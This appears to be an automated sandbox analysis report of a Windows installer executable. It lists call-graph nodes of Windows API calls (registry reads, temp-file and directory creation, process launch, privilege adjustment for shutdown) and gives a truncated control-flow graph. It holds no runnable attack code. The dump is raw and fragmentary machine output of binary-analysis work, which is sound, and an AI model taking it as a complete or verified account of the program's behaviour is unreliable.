4698->4608 4698->4609 4700 10001266 2 API calls 4699->4700 4701 10001503 4700->4701 4701->4602 4702->4613 4703->4639 4705 10001552 4704->4705 4705->4636 4712 10001215 GlobalAlloc 4706->4712 4708 10001233 lstrcpynA 4708->4635 4709->4639 4710->4631 4711->4638 4712->4708 4714 100012b4 4713->4714 4715 10001224 2 API calls 4714->4715 4716 100012cf 4715->4716 4716->4645 4718 10002581 4717->4718 4719 1000252b VirtualAlloc 4717->4719 4718->4651 4719->4718 4720->4675 4722 100012f9 4721->4722 4723 100012da 4721->4723 4722->4675 4723->4722 4724 100012e0 lstrcpyA 4723->4724 4724->4722 4725->4686 5093 401000 5094 401037 BeginPaint GetClientRect 5093->5094 5095 40100c DefWindowProcA 5093->5095 5097 4010f3 5094->5097 5098 401179 5095->5098 5099 401073 CreateBrushIndirect FillRect DeleteObject 5097->5099 5100 4010fc 5097->5100 5099->5097 5101 401102 CreateFontIndirectA 5100->5101 5102 401167 EndPaint 5100->5102 5101->5102 5103 401112 6 API calls 5101->5103 5102->5098 5103->5102 5104 401900 5105 402ace 18 API calls 5104->5105 5106 401907 5105->5106 5107 4055b9 MessageBoxIndirectA 5106->5107 5108 401910 5107->5108 5109 403701 5110 40370c 5109->5110 5111 403710 5110->5111 5112 403713 GlobalAlloc 5110->5112 5112->5111 5113 401502 5114 40150a 5113->5114 5116 40151d 5113->5116 5115 402aac 18 API calls 5114->5115 5115->5116 3648 402483 3659 402bd8 3648->3659 3650 40248d 3663 402ace 3650->3663 3653 4024a0 RegQueryValueExA 3655 4024c0 3653->3655 3656 4024c6 RegCloseKey 3653->3656 3654 402729 3655->3656 3669 405d21 wsprintfA 3655->3669 3656->3654 3660 402ace 18 API calls 3659->3660 3661 402bf1 3660->3661 3662 402bff RegOpenKeyExA 3661->3662 3662->3650 3664 402ada 3663->3664 3670 405de5 3664->3670 3667 402496 3667->3653 3667->3654 3669->3656 3675 405df2 3670->3675 3671 406015 3672 402afb 3671->3672 3704 405dc3 lstrcpynA 3671->3704 3672->3667 3688 40602e 3672->3688 3674 405e93 GetVersion 3674->3675 3675->3671 3675->3674 3676 405fec lstrlenA 3675->3676 3679 405de5 10 API calls 3675->3679 3680 405f0b GetSystemDirectoryA 3675->3680 3682 405f1e GetWindowsDirectoryA 3675->3682 3683 40602e 5 API calls 3675->3683 3684 405f52 SHGetSpecialFolderLocation 3675->3684 3685 405de5 10 API calls 3675->3685 3686 405f95 lstrcatA 3675->3686 3697 405caa RegOpenKeyExA 3675->3697 3702 405d21 wsprintfA 3675->3702 3703 405dc3 lstrcpynA 3675->3703 3676->3675 3679->3676 3680->3675 3682->3675 3683->3675 3684->3675 3687 405f6a SHGetPathFromIDListA CoTaskMemFree 3684->3687 3685->3675 3686->3675 3687->3675 3689 40603a 3688->3689 3691 406097 CharNextA 3689->3691 3693 4060a2 3689->3693 3695 406085 CharNextA 3689->3695 3696 406092 CharNextA 3689->3696 3705 405860 3689->3705 3690 4060a6 CharPrevA 3690->3693 3691->3689 3691->3693 3693->3690 3694 4060c1 3693->3694 3694->3667 3695->3689 3696->3691 3698 405d1b 3697->3698 3699 405cdd RegQueryValueExA 3697->3699 3698->3675 3700 405cfe RegCloseKey 3699->3700 3700->3698 3702->3675 3703->3675 3704->3672 3706 405866 3705->3706 3707 405879 3706->3707 3708 40586c CharNextA 3706->3708 3707->3689 3708->3706 5117 100029c3 5118 100029db 5117->5118 5119 10001534 2 API calls 5118->5119 5120 100029f6 5119->5120 5121 401c04 5122 402aac 18 API calls 5121->5122 5123 401c0b 5122->5123 5124 402aac 18 API calls 5123->5124 5125 401c18 5124->5125 5126 402ace 18 API calls 5125->5126 5128 401c2d 5125->5128 5126->5128 5127 401c3d 5130 401c94 5127->5130 5131 401c48 5127->5131 5128->5127 5129 402ace 18 API calls 5128->5129 5129->5127 5132 402ace 18 API calls 5130->5132 5133 402aac 18 API calls 5131->5133 5134 401c99 5132->5134 5135 401c4d 5133->5135 5136 402ace 18 API calls 5134->5136 5137 402aac 18 API calls 5135->5137 5139 401ca2 FindWindowExA 5136->5139 5138 401c59 5137->5138 5140 401c84 SendMessageA 5138->5140 5141 401c66 SendMessageTimeoutA 5138->5141 5142 401cc0 5139->5142 5140->5142 5141->5142 4188 40270b 4189 402ace 18 API calls 4188->4189 4190 402712 FindFirstFileA 4189->4190 4191 402735 4190->4191 4192 402725 4190->4192 4193 40273c 4191->4193 4196 405d21 wsprintfA 4191->4196 4197 405dc3 lstrcpynA 4193->4197 4196->4193 4197->4192 5143 401490 5144 404fdc 25 API calls 5143->5144 5145 401497 5144->5145 5146 402590 5147 402595 5146->5147 5148 4025a9 5146->5148 5149 402aac 18 API calls 5147->5149 5150 402ace 18 API calls 5148->5150 5152 40259e 5149->5152 5151 4025b0 lstrlenA 5150->5151 5151->5152 5153 405add WriteFile 5152->5153 5154 4025d2 5152->5154 5153->5154 5155 402c13 5156 402c22 SetTimer 5155->5156 5157 402c3b 5155->5157 5156->5157 5158 402c90 5157->5158 5159 402c55 MulDiv wsprintfA SetWindowTextA SetDlgItemTextA 5157->5159 5159->5158 4366 402695 4367 40269c 4366->4367 4369 40290b 4366->4369 4368 402aac 18 API calls 4367->4368 4370 4026a3 4368->4370 4371 4026b2 SetFilePointer 4370->4371 4371->4369 4372 4026c2 4371->4372 4374 405d21 wsprintfA 4372->4374 4374->4369 5160 401d95 GetDC 5161 402aac 18 API calls 5160->5161 5162 401da7 GetDeviceCaps MulDiv ReleaseDC 5161->5162 5163 402aac 18 API calls 5162->5163 5164 401dd8 5163->5164 5165 405de5 18 API calls 5164->5165 5166 401e15 CreateFontIndirectA 5165->5166 5167 40258a 5166->5167 5168 10001058 5170 10001074 5168->5170 5169 100010dc 5170->5169 5171 100014bb GlobalFree 5170->5171 5172 10001091 5170->5172 5171->5172 5173 100014bb GlobalFree 5172->5173 5174 100010a1 5173->5174 5175 100010b1 5174->5175 5176 100010a8 GlobalSize 5174->5176 5177 100010b5 GlobalAlloc 5175->5177 5179 100010c6 5175->5179 5176->5175 5178 100014e2 3 API calls 5177->5178 5178->5179 5180 100010d1 GlobalFree 5179->5180 5180->5169 5181 40511a 5182 4052c5 5181->5182 5183 40513c GetDlgItem GetDlgItem GetDlgItem 5181->5183 5185 4052f5 5182->5185 5186 4052cd GetDlgItem CreateThread CloseHandle 5182->5186 5226 403fdd SendMessageA 5183->5226 5187 405323 5185->5187 5188 405344 5185->5188 5189 40530b ShowWindow ShowWindow 5185->5189 5186->5185 5191 40537e 5187->5191 5193 405333 5187->5193 5194 405357 ShowWindow 5187->5194 5195 40400f 8 API calls 5188->5195 5228 403fdd SendMessageA 5189->5228 5190 4051ac 5196 4051b3 GetClientRect GetSystemMetrics SendMessageA SendMessageA 5190->5196 5191->5188 5199 40538b SendMessageA 5191->5199 5200 403f81 SendMessageA 5193->5200 5202 405377 5194->5202 5203 405369 5194->5203 5201 405350 5195->5201 5197 405221 5196->5197 5198 405205 SendMessageA SendMessageA 5196->5198 5204 405234 5197->5204 5205 405226 SendMessageA 5197->5205 5198->5197 5199->5201 5206 4053a4 CreatePopupMenu 5199->5206 5200->5188 5208 403f81 SendMessageA 5202->5208 5207 404fdc 25 API calls 5203->5207 5210 403fa8 19 API calls 5204->5210 5205->5204 5209 405de5 18 API calls 5206->5209 5207->5202 5208->5191 5211 4053b4 AppendMenuA 5209->5211 5212 405244 5210->5212 5213 4053d2 GetWindowRect 5211->5213 5214 4053e5 TrackPopupMenu 5211->5214 5215 405281 GetDlgItem SendMessageA 5212->5215 5216 40524d ShowWindow 5212->5216 5213->5214 5214->5201 5217 405401 5214->5217 5215->5201 5219 4052a8 SendMessageA SendMessageA 5215->5219 5218 405263 ShowWindow 5216->5218 5221 405270 5216->5221 5220 405420 SendMessageA 5217->5220 5218->5221 5219->5201 5220->5220 5222 40543d OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 5220->5222 5227 403fdd SendMessageA 5221->5227 5224 40545f SendMessageA 5222->5224 5224->5224 5225 405481 GlobalUnlock SetClipboardData CloseClipboard 5224->5225 5225->5201 5226->5190 5227->5215 5228->5187 5229 401d1a 5230 402aac 18 API calls 5229->5230 5231 401d28 SetWindowLongA 5230->5231 5232 40295e 5231->5232 4538 40159d 4539 402ace 18 API calls 4538->4539 4540 4015a4 SetFileAttributesA 4539->4540 4541 4015b6 4540->4541 5238 40149d 5239 4014ab PostQuitMessage 5238->5239 5240 4022dd 5238->5240 5239->5240 4542 401a1e 4543 402ace 18 API calls 4542->4543 4544 401a27 ExpandEnvironmentStringsA 4543->4544 4545 401a3b 4544->4545 4546 401a4e 4544->4546 4545->4546 4547 401a40 lstrcmpA 4545->4547 4547->4546 4726 40171f 4727 402ace 18 API calls 4726->4727 4728 401726 SearchPathA 4727->4728 4729 401741 4728->4729 5241 40439f 5242 4043d5 5241->5242 5243 4043af 5241->5243 5245 40400f 8 API calls 5242->5245 5244 403fa8 19 API calls 5243->5244 5246 4043bc SetDlgItemTextA 5244->5246 5247 4043e1 5245->5247 5246->5242 5248 100010e0 5257 1000110e 5248->5257 5249 100011c4 GlobalFree 5250 100012ad 2 API calls 5250->5257 5251 100011c3 5251->5249 5252 100011ea GlobalFree 5252->5257 5253 10001266 2 API calls 5256 100011b1 GlobalFree 5253->5256 5254 10001155 GlobalAlloc 5254->5257 5255 100012d1 lstrcpyA 5255->5257 5256->5257 5257->5249 5257->5250 5257->5251 5257->5252 5257->5253 5257->5254 5257->5255 5257->5256 5258 10002162 5259 100021c0 5258->5259 5261 100021f6 5258->5261 5260 100021d2 GlobalAlloc 5259->5260 5259->5261 5260->5259 3709 4031a3 SetErrorMode GetVersion 3710 4031da 3709->3710 3711 4031e0 3709->3711 3712 40615c 5 API calls 3710->3712 3797 4060ee GetSystemDirectoryA 3711->3797 3712->3711 3714 4031f6 lstrlenA 3714->3711 3715 403205 3714->3715 3800 40615c GetModuleHandleA 3715->3800 3718 40615c 5 API calls 3719 403214 #17 OleInitialize SHGetFileInfoA 3718->3719 3806 405dc3 lstrcpynA 3719->3806 3721 403251 GetCommandLineA 3807 405dc3 lstrcpynA 3721->3807 3723 403263 GetModuleHandleA 3724 40327a 3723->3724 3725 405860 CharNextA 3724->3725 3726 40328e CharNextA 3725->3726 3734 40329e 3726->3734 3727 403368 3728 40337b GetTempPathA 3727->3728 3808 403172 3728->3808 3730 403393 3731 403397 GetWindowsDirectoryA lstrcatA 3730->3731 3732 4033ed DeleteFileA 3730->3732 3735 403172 12 API calls 3731->3735 3818 402cfa GetTickCount GetModuleFileNameA 3732->3818 3733 405860 CharNextA 3733->3734 3734->3727 3734->3733 3739 40336a 3734->3739 3738 4033b3 3735->3738 3737 403401 3742 403487 3737->3742 3746 405860 CharNextA 3737->3746 3793 403497 3737->3793 3738->3732 3741 4033b7 GetTempPathA lstrcatA SetEnvironmentVariableA SetEnvironmentVariableA 3738->3741 3913 405dc3 lstrcpynA 3739->3913 3744 403172 12 API calls 3741->3744 3846 403743 3742->3846 3748 4033e5 3744->3748 3749 40341c 3746->3749 3748->3732 3748->3793 3756 403462 3749->3756 3757 4034c7 3749->3757 3750 4034b1 3937 4055b9 3750->3937 3751 4035cf 3753 403651 ExitProcess 3751->3753 3754 4035d7 GetCurrentProcess OpenProcessToken 3751->3754 3759 403622 3754->3759 3760 4035f2 LookupPrivilegeValueA AdjustTokenPrivileges 3754->3760 3914 405923 3756->3914 3902 40553c 3757->3902 3763 40615c 5 API calls 3759->3763 3760->3759 3764 403629 3763->3764 3767 40363e ExitWindowsEx 3764->3767 3770 40364a 3764->3770 3767->3753 3767->3770 3768 4034e8 lstrcatA lstrcmpiA 3772 403504 3768->3772 3768->3793 3769 4034dd lstrcatA 3769->3768 3950 40140b 3770->3950 3773 403510 3772->3773 3774 403509 3772->3774 3946 40551f CreateDirectoryA 3773->3946 3941 4054a2 CreateDirectoryA 3774->3941 3776 40347c 3929 405dc3 lstrcpynA 3776->3929 3781 403515 SetCurrentDirectoryA 3782 403524 3781->3782 3783 40352f 3781->3783 3949 405dc3 lstrcpynA 3782->3949 3905 405dc3 lstrcpynA 3783->3905 3786 40353d 3787 405de5 18 API calls 3786->3787 3790 4035c3 3786->3790 3794 405de5 18 API calls 3786->3794 3796 4035af CloseHandle 3786->3796 3906 405c7e MoveFileExA 3786->3906 3910 405554 CreateProcessA 3786->3910 3788 40356e DeleteFileA 3787->3788 3788->3786 3789 40357b CopyFileA 3788->3789 3789->3786 3792 405c7e 38 API calls 3790->3792 3792->3793 3930 403669 3793->3930 3794->3786 3796->3786 3798 406110 wsprintfA LoadLibraryExA 3797->3798 3798->3714 3801 406182 GetProcAddress 3800->3801 3802 406178 3800->3802 3803 40320d 3801->3803 3804 4060ee 3 API calls 3802->3804 3803->3718 3805 40617e 3804->3805 3805->3801 3805->3803 3806->3721 3807->3723 3809 40602e 5 API calls 3808->3809 3810 40317e 3809->3810 3811 403188 3810->3811 3953 405835 lstrlenA CharPrevA 3810->3953 3811->3730 3814 40551f 2 API calls 3815 403196 3814->3815 3956 405a65 3815->3956 3960 405a36 GetFileAttributesA CreateFileA 3818->3960 3820 402d3a 3839 402d4a 3820->3839 3961 405dc3 lstrcpynA 3820->3961 3822 402d60 3962 40587c lstrlenA 3822->3962 3826 402d71 GetFileSize 3827 402e6d 3826->3827 3841 402d88 3826->3841 3967 402c96 3827->3967 3829 402e76 3831 402ea6 GlobalAlloc 3829->3831 3829->3839 4002 40315b SetFilePointer 3829->4002 3978 40315b SetFilePointer 3831->3978 3834 402ed9 3836 402c96 6 API calls 3834->3836 3835 402ec1 3979 402f33 3835->3979 3836->3839 3837 402e8f 3840 403145 ReadFile 3837->3840 3839->3737 3843 402e9a 3840->3843 3841->3827 3841->3834 3841->3839 3842 402c96 6 API calls 3841->3842 3999 403145 3841->3999 3842->3841 3843->3831 3843->3839 3844 402ecd 3844->3839 3844->3844 3845 402f0a SetFilePointer 3844->3845 3845->3839 3847 40615c 5 API calls 3846->3847 3848 403757 3847->3848 3849 40375d 3848->3849 3850 40376f 3848->3850 4032 405d21 wsprintfA 3849->4032 3851 405caa 3 API calls 3850->3851 3852 40379a 3851->3852 3854 4037b8 lstrcatA 3852->3854 3856 405caa 3 API calls 3852->3856 3855 40376d 3854->3855 4023 403a08 3855->4023 3856->3854 3859 405923 18 API calls 3860 4037ea 3859->3860 3861 403873 3860->3861 3864 405caa 3 API calls 3860->3864 3862 405923 18 API calls 3861->3862 3863 403879 3862->3863 3866 403889 LoadImageA 3863->3866 3867 405de5 18 API calls 3863->3867 3865 403816 3864->3865 3865->3861 3870 403832 lstrlenA 3865->3870 3874 405860 CharNextA 3865->3874 3868 4038b0 RegisterClassA 3866->3868 3869 40392f 3866->3869 3867->3866 3871 4038e6 SystemParametersInfoA CreateWindowExA 3868->3871 3872 403939 3868->3872 3873 40140b 2 API calls 3869->3873 3875 403840 lstrcmpiA 3870->3875 3876 403866 3870->3876 3871->3869 3872->3793 3877 403935 3873->3877 3878 403830 3874->3878 3875->3876 3879 403850 GetFileAttributesA 3875->3879 3880 405835 3 API calls 3876->3880 3877->3872 3882 403a08 19 API calls 3877->3882 3878->3870 3881 40385c 3879->3881 3883 40386c 3880->3883 3881->3876 3884 40587c 2 API calls 3881->3884 3885 403946 3882->3885 4033 405dc3 lstrcpynA 3883->4033 3884->3876 3887 403952 ShowWindow 3885->3887 3888 4039d5 3885->3888 3890 4060ee 3 API calls 3887->3890 4034 4050ae OleInitialize 3888->4034 3893 40396a 3890->3893 3891 4039db 3894 4039f7 3891->3894 3895 4039df 3891->3895 3892 403978 GetClassInfoA 3898 4039a2 DialogBoxParamA 3892->3898 3899 40398c GetClassInfoA RegisterClassA 3892->3899 3893->3892 3896 4060ee 3 API calls 3893->3896 3897 40140b 2 API calls 3894->3897 3895->3872 3901 40140b 2 API calls 3895->3901 3896->3892 3897->3872 3900 40140b 2 API calls 3898->3900 3899->3898 3900->3872 3901->3872 3903 40615c 5 API calls 3902->3903 3904 4034cc lstrcatA 3903->3904 3904->3768 3904->3769 3905->3786 3907 405c9f 3906->3907 3908 405c92 3906->3908 3907->3786 4049 405b0c lstrcpyA 3908->4049 3911 405593 3910->3911 3912 405587 CloseHandle 3910->3912 3911->3786 3912->3911 3913->3728 4083 405dc3 lstrcpynA 3914->4083 3916 405934 4084 4058ce CharNextA CharNextA 3916->4084 3919 40346d 3919->3793 3928 405dc3 lstrcpynA 3919->3928 3920 40602e 5 API calls 3926 40594a 3920->3926 3921 405975 lstrlenA 3922 405980 3921->3922 3921->3926 3924 405835 3 API calls 3922->3924 3925 405985 GetFileAttributesA 3924->3925 3925->3919 3926->3919 3926->3921 3927 40587c 2 API calls 3926->3927 4090 4060c7 FindFirstFileA 3926->4090 3927->3921 3928->3776 3929->3742 3931 403681 3930->3931 3932 403673 CloseHandle 3930->3932 4093 4036ae 3931->4093 3932->3931 3938 4055ce 3937->3938 3939 4034bf ExitProcess 3938->3939 3940 4055e2 MessageBoxIndirectA 3938->3940 3940->3939 3942 4054f3 GetLastError 3941->3942 3943 40350e 3941->3943 3942->3943 3944 405502 SetFileSecurityA 3942->3944 3943->3781 3944->3943 3945 405518 GetLastError 3944->3945 3945->3943 3947 405533 GetLastError 3946->3947 3948 40552f 3946->3948 3947->3948 3948->3781 3949->3783 3951 401389 2 API calls 3950->3951 3952 401420 3951->3952 3952->3753 3954 403190 3953->3954 3955 40584f lstrcatA 3953->3955 3954->3814 3955->3954 3957 405a70 GetTickCount GetTempFileNameA 3956->3957 3958 4031a1 3957->3958 3959 405a9d 3957->3959 3958->3730 3959->3957 3959->3958 3960->3820 3961->3822 3963 405889 3962->3963 3964 402d66 3963->3964 3965 40588e CharPrevA 3963->3965 3966 405dc3 lstrcpynA 3964->3966 3965->3963 3965->3964 3966->3826 3968 402cb7 3967->3968 3969 402c9f 3967->3969 3972 402cc7 GetTickCount 3968->3972 3973 402cbf 3968->3973 3970 402ca8 DestroyWindow 3969->3970 3971 402caf 3969->3971 3970->3971 3971->3829 3975 402cd5 CreateDialogParamA ShowWindow 3972->3975 3976 402cf8 3972->3976 4003 406198 3973->4003 3975->3976 3976->3829 3978->3835 3980 402f49 3979->3980 3981 402f77 3980->3981 4009 40315b SetFilePointer 3980->4009 3983 403145 ReadFile 3981->3983 3984 402f82 3983->3984 3985 402f94 GetTickCount 3984->3985 3986 4030de 3984->3986 3993 4030c8 3984->3993 3985->3993 3997 402fe3 3985->3997 3987 403120 3986->3987 3992 4030e2 3986->3992 3989 403145 ReadFile 3987->3989 3988 403145 ReadFile 3988->3997 3989->3993 3990 403145 ReadFile 3990->3992 3991 405add WriteFile 3991->3992 3992->3990 3992->3991 3992->3993 3993->3844 3994 403039 GetTickCount 3994->3997 3995 40305e MulDiv wsprintfA 4010 404fdc 3995->4010 3997->3988 3997->3993 3997->3994 3997->3995 4007 405add WriteFile 3997->4007 4021 405aae ReadFile 3999->4021 4002->3837 4004 4061b5 PeekMessageA 4003->4004 4005 402cc5 4004->4005 4006 4061ab DispatchMessageA 4004->4006 4005->3829 4006->4004 4008 405afb 4007->4008 4008->3997 4009->3981 4011 404ff7 4010->4011 4020 40509a 4010->4020 4012 405014 lstrlenA 4011->4012 4013 405de5 18 API calls 4011->4013 4014 405022 lstrlenA 4012->4014 4015 40503d 4012->4015 4013->4012 4016 405034 lstrcatA 4014->4016 4014->4020 4017 405050 4015->4017 4018 405043 SetWindowTextA 4015->4018 4016->4015 4019 405056 SendMessageA SendMessageA SendMessageA 4017->4019 4017->4020 4018->4017 4019->4020 4020->3997 4022 403158 4021->4022 4022->3841 4024 403a1c 4023->4024 4041 405d21 wsprintfA 4024->4041 4026 403a8d 4027 405de5 18 API calls 4026->4027 4028 403a99 SetWindowTextA 4027->4028 4029 4037c8 4028->4029 4030 403ab5 4028->4030 4029->3859 4030->4029 4031 405de5 18 API calls 4030->4031 4031->4030 4032->3855 4033->3861 4042 403ff4 4034->4042 4036 403ff4 SendMessageA 4037 40510a OleUninitialize 4036->4037 4037->3891 4038 4050f8 4038->4036 4040 4050d1 4040->4038 4045 401389 4040->4045 4041->4026 4043 40400c 4042->4043 4044 403ffd SendMessageA 4042->4044 4043->4040 4044->4043 4047 401390 4045->4047 4046 4013fe 4046->4040 4047->4046 4048 4013cb MulDiv SendMessageA 4047->4048 4048->4047 4050 405b34 4049->4050 4051 405b5a GetShortPathNameA 4049->4051 4076 405a36 GetFileAttributesA CreateFileA 4050->4076 4053 405c79 4051->4053 4054 405b6f 4051->4054 4053->3907 4054->4053 4056 405b77 wsprintfA 4054->4056 4055 405b3e CloseHandle GetShortPathNameA 4055->4053 4058 405b52 4055->4058 4057 405de5 18 API calls 4056->4057 4059 405b9f 4057->4059 4058->4051 4058->4053 4077 405a36 GetFileAttributesA CreateFileA 4059->4077 4061 405bac 4061->4053 4062 405bbb GetFileSize GlobalAlloc 4061->4062 4063 405c72 CloseHandle 4062->4063 4064 405bdd 4062->4064 4063->4053 4065 405aae ReadFile 4064->4065 4066 405be5 4065->4066 4066->4063 4078 40599b lstrlenA 4066->4078 4069 405c10 4071 40599b 4 API calls 4069->4071 4070 405bfc lstrcpyA 4072 405c1e 4070->4072 4071->4072 4073 405c55 SetFilePointer 4072->4073 4074 405add WriteFile 4073->4074 4075 405c6b GlobalFree 4074->4075 4075->4063 4076->4055 4077->4061 4079 4059dc lstrlenA 4078->4079 4080 4059e4 4079->4080 4081 4059b5 lstrcmpiA 4079->4081 4080->4069 4080->4070 4081->4080 4082 4059d3 CharNextA 4081->4082 4082->4079 4083->3916 4085 4058e9 4084->4085 4087 4058f9 4084->4087 4085->4087 4088 4058f4 CharNextA 4085->4088 4086 405919 4086->3919 4086->3920 4087->4086 4089 405860 CharNextA 4087->4089 4088->4086 4089->4087 4091 4060e8 4090->4091 4092 4060dd FindClose 4090->4092 4091->3926 4092->4091 4094 4036bc 4093->4094 4095 403686 4094->4095 4096 4036c1 FreeLibrary GlobalFree 4094->4096 4097 405665 4095->4097 4096->4095 4096->4096 4098 405923 18 API calls 4097->4098 4099 405685 4098->4099 4100 4056a4 4099->4100 4101 40568d DeleteFileA 4099->4101 4103 4057dc 4100->4103 4138 405dc3 lstrcpynA 4100->4138 4102 4034a0 OleUninitialize 4101->4102 4102->3750 4102->3751 4103->4102 4108 4060c7 2 API calls 4103->4108 4105 4056ca 4106 4056d0 lstrcatA 4105->4106 4107 4056dd 4105->4107 4109 4056e3 4106->4109 4110 40587c 2 API calls 4107->4110 4113 4057f6 4108->4113 4111 4056f1 lstrcatA 4109->4111 4112 4056e8 4109->4112 4110->4109 4114 4056fc lstrlenA FindFirstFileA 4111->4114 4112->4111 4112->4114 4113->4102 4115 4057fa 4113->4115 4116 4057d2 4114->4116 4120 405720 4114->4120 4117 405835 3 API calls 4115->4117 4116->4103 4119 405800 4117->4119 4118 405860 CharNextA 4118->4120 4121 40561d 5 API calls 4119->4121 4120->4118 4126 4057b1 FindNextFileA 4120->4126 4133 405665 62 API calls 4120->4133 4135 404fdc 25 API calls 4120->4135 4136 404fdc 25 API calls 4120->4136 4137 405c7e 38 API calls 4120->4137 4139 405dc3 lstrcpynA 4120->4139 4140 40561d 4120->4140 4122 40580c 4121->4122 4123 405810 4122->4123 4124 405826 4122->4124 4123->4102 4128 404fdc 25 API calls 4123->4128 4125 404fdc 25 API calls 4124->4125 4125->4102 4126->4120 4129 4057c9 FindClose 4126->4129 4130 40581d 4128->4130 4129->4116 4131 405c7e 38 API calls 4130->4131 4134 405824 4131->4134 4133->4120 4134->4102 4135->4126 4136->4120 4137->4120 4138->4105 4139->4120 4148 405a11 GetFileAttributesA 4140->4148 4143 40564a 4143->4120 4144 405640 DeleteFileA 4146 405646 4144->4146 4145 405638 RemoveDirectoryA 4145->4146 4146->4143 4147 405656 SetFileAttributesA 4146->4147 4147->4143 4149 405629 4148->4149 4150 405a23 SetFileAttributesA 4148->4150 4149->4143 4149->4144 4149->4145 4150->4149 4151 401e25 4159 402aac 4151->4159 4153 401e2b 4154 402aac 18 API calls 4153->4154 4155 401e37 4154->4155 4156 401e43 ShowWindow 4155->4156 4157 401e4e EnableWindow 4155->4157 4158 40295e 4156->4158 4157->4158 4160 405de5 18 API calls 4159->4160 4161 402ac1 4160->4161 4161->4153 5262 401f2d 5263 402ace 18 API calls 5262->5263 5264 401f34 5263->5264 5265 4060c7 2 API calls 5264->5265 5266 401f3a 5265->5266 5267 401f4c 5266->5267 5269 405d21 wsprintfA 5266->5269 5269->5267 5270 402336 5271 402ace 18 API calls 5270->5271 5272 402347 5271->5272 5273 402ace 18 API calls 5272->5273 5274 402350 5273->5274 5275 402ace 18 API calls 5274->5275 5276 40235a GetPrivateProfileStringA 5275->5276 5277 4014b7 5278 4014bd 5277->5278 5279 401389 2 API calls 5278->5279 5280 4014c5 5279->5280 5281 404737 5282 404763 5281->5282 5283 404747 5281->5283 5285 404796 5282->5285 5286 404769 SHGetPathFromIDListA 5282->5286 5292 40559d GetDlgItemTextA 5283->5292 5287 404779 5286->5287 5291 404780 SendMessageA 5286->5291 5289 40140b 2 API calls 5287->5289 5288 404754 SendMessageA 5288->5282 5289->5291 5291->5285 5292->5288 5293 401b39 5294 402ace 18 API calls 5293->5294 5295 401b40 5294->5295 5296 402aac 18 API calls 5295->5296 5297 401b49 wsprintfA 5296->5297 5298 40295e 5297->5298 5299 402939 SendMessageA 5300 402953 InvalidateRect 5299->5300 5301 40295e 5299->5301 5300->5301 4518 4015bb 4519 402ace 18 API calls 4518->4519 4520 4015c2 4519->4520 4521 4058ce 4 API calls 4520->4521 4531 4015ca 4521->4531 4522 401624 4524 401652 4522->4524 4525 401629 4522->4525 4523 405860 CharNextA 4523->4531 4527 401423 25 API calls 4524->4527 4526 401423 25 API calls 4525->4526 4528 401630 4526->4528 4535 40164a 4527->4535 4537 405dc3 lstrcpynA 4528->4537 4530 40551f 2 API calls 4530->4531 4531->4522 4531->4523 4531->4530 4532 40553c 5 API calls 4531->4532 4534 40160c GetFileAttributesA 4531->4534 4536 4054a2 4 API calls 4531->4536 4532->4531 4533 40163b SetCurrentDirectoryA 4533->4535 4534->4531 4536->4531 4537->4533 5302 4016bb 5303 402ace 18 API calls 5302->5303 5304 4016c1 GetFullPathNameA 5303->5304 5305 4016d8 5304->5305 5311 4016f9 5304->5311 5307 4060c7 2 API calls 5305->5307 5305->5311 5306 40170d GetShortPathNameA 5308 40295e 5306->5308 5309 4016e9 5307->5309 5309->5311 5312 405dc3 lstrcpynA 5309->5312 5311->5306 5311->5308 5312->5311 5313 401d3b GetDlgItem GetClientRect 5314 402ace 18 API calls 5313->5314 5315 401d6b LoadImageA SendMessageA 5314->5315 5316 401d89 DeleteObject 5315->5316 5317 40295e 5315->5317 5316->5317 5318 4040bc lstrcpynA lstrlenA

                                                        Executed Functions

                                                        Function 004031A3 Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357stringcomfileCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 0 4031a3-4031d8 SetErrorMode GetVersion 1 4031da-4031e2 call 40615c 0->1 2 4031eb 0->2 1->2 8 4031e4 1->8 4 4031f0-403203 call 4060ee lstrlenA 2->4 9 403205-403278 call 40615c * 2 #17 OleInitialize SHGetFileInfoA call 405dc3 GetCommandLineA call 405dc3 GetModuleHandleA 4->9 8->2 18 403284-403299 call 405860 CharNextA 9->18 19 40327a-40327f 9->19 22 40335e-403362 18->22 19->18 23 403368 22->23 24 40329e-4032a1 22->24 27 40337b-403395 GetTempPathA call 403172 23->27 25 4032a3-4032a7 24->25 26 4032a9-4032b1 24->26 25->25 25->26 28 4032b3-4032b4 26->28 29 4032b9-4032bc 26->29 36 403397-4033b5 GetWindowsDirectoryA lstrcatA call 403172 27->36 37 4033ed-403407 DeleteFileA call 402cfa 27->37 28->29 31 4032c2-4032c6 29->31 32 40334e-40335b call 405860 29->32 34 4032c8-4032ce 31->34 35 4032de-40330b 31->35 32->22 47 40335d 32->47 39 4032d0-4032d2 34->39 40 4032d4 34->40 41 40330d-403313 35->41 42 40331e-40334c 35->42 36->37 55 4033b7-4033e7 GetTempPathA lstrcatA SetEnvironmentVariableA * 2 call 403172 36->55 52 40349b-4034ab call 403669 OleUninitialize 37->52 53 40340d-403413 37->53 39->35 39->40 40->35 48 403315-403317 41->48 49 403319 41->49 42->32 51 40336a-403376 call 405dc3 42->51 47->22 48->42 48->49 49->42 51->27 66 4034b1-4034c1 call 4055b9 ExitProcess 52->66 67 4035cf-4035d5 52->67 56 403415-403420 call 405860 53->56 57 40348b-403492 call 403743 53->57 55->37 55->52 68 403422-40344b 56->68 69 403456-403460 56->69 64 403497 57->64 64->52 71 403651-403659 67->71 72 4035d7-4035f0 GetCurrentProcess OpenProcessToken 67->72 73 40344d-40344f 68->73 76 403462-40346f call 405923 69->76 77 4034c7-4034db call 40553c lstrcatA 69->77 74 40365b 71->74 75 40365f-403663 ExitProcess 71->75 79 403622-403630 call 40615c 72->79 80 4035f2-40361c LookupPrivilegeValueA AdjustTokenPrivileges 72->80 73->69 81 403451-403454 73->81 74->75 76->52 90 403471-403487 call 405dc3 * 2 76->90 91 4034e8-403502 lstrcatA lstrcmpiA 77->91 92 4034dd-4034e3 lstrcatA 77->92 88 403632-40363c 79->88 89 40363e-403648 ExitWindowsEx 79->89 80->79 81->69 81->73 88->89 93 40364a-40364c call 40140b 88->93 89->71 89->93 90->57 91->52 95 403504-403507 91->95 92->91 93->71 96 403510 call 40551f 95->96 97 403509-40350e call 4054a2 95->97 106 403515-403522 SetCurrentDirectoryA 96->106 97->106 107 403524-40352a call 405dc3 106->107 108 40352f-403557 call 405dc3 106->108 107->108 112 40355d-403579 call 